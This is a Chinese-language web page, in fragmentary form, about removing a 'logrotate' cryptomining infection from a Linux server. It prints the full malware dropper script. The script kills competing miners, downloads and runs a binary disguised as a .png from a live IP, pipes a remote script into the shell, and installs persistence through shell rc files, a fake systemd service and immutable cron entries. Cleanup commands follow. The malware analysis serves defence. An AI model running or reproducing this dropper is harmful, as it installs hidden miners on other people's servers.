进行病毒查杀/5月服务器遭遇logrotate病毒的查杀过程_0底子信息安全讲授 - ToB企服应用市场:ToB评测及商务社交产业平台

A start job is running for /etc/rc.d/local Compatibility

复制代码

# 可以通过这条命令查看卸载前后的openssh相关服务安装情况
rpm -qa openssh*
# 卸载
yum remove openssh*
# 安装
yum install -y openssh-server
# 启动服务
systemctl start sshd
systemctl enable sshd

复制代码

#!/bin/sh
{ pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'
EXEC="source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)"
trap 'rm -- "$0"' EXIT
if [ -z "${HOME+x}" ]; then
export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] && {
ARCH=$(uname -m)
URL=""
[ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123/silicon64blueprints.png"
[ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123/siliconarmblueprints.png"
[ -z "$URL" ] && URL="http://185.196.8.123/silicon64blueprints.png"
{ wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1
chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
}
pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
add_to_startup() {
if [ -r "$1" ]; then
if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then
echo "$EXEC >/dev/null 2>&1" >> "$1"
fi
fi
}
case "$(ps -p $$ -o comm=)" in
bash) add_to_startup "$HOME/.bashrc"
add_to_startup "$HOME/.bash_logout" ;;
zsh) add_to_startup "$HOME/.zshrc" ;;
esac
[ "$(id -u)" -eq 0 ] && {
RCLOCAL=''
[ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
[ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
[ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
cat >/etc/systemd/system/logrotate.service <<EOL
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOL
sudo systemctl daemon-reload 2>/dev/null
sudo systemctl enable logrotate.service 2>/dev/null
[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
}

复制代码

kill -9 16006

复制代码

rm -rf /root/.config/logrotate

复制代码

# 先使用这个命令查看是否有服务
systemctl list-unit-files |grep logrotate.service
# 然后清除服务
systemctl disable logrotate.service
# 找到服务文件所在位置
find / -name logrotate.service
# 删除服务文件
rm -rf 上一句文件位置

复制代码

# 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-i
chattr -ai /etc/cron.hourly/logrotate;
chattr -ai /etc/cron.daily/logrotate;
chattr -ai /etc/cron.weekly/logrotate;
chattr -ai /etc/cron.monthly/logrotate;
chattr -ai /etc/cron.yearly/logrotate;
# 删除
rm -rf /etc/cron.hourly/logrotate;
rm -rf /etc/cron.daily/logrotate;
rm -rf /etc/cron.weekly/logrotate;
rm -rf /etc/cron.monthly/logrotate;
rm -rf /etc/cron.yearly/logrotate;

复制代码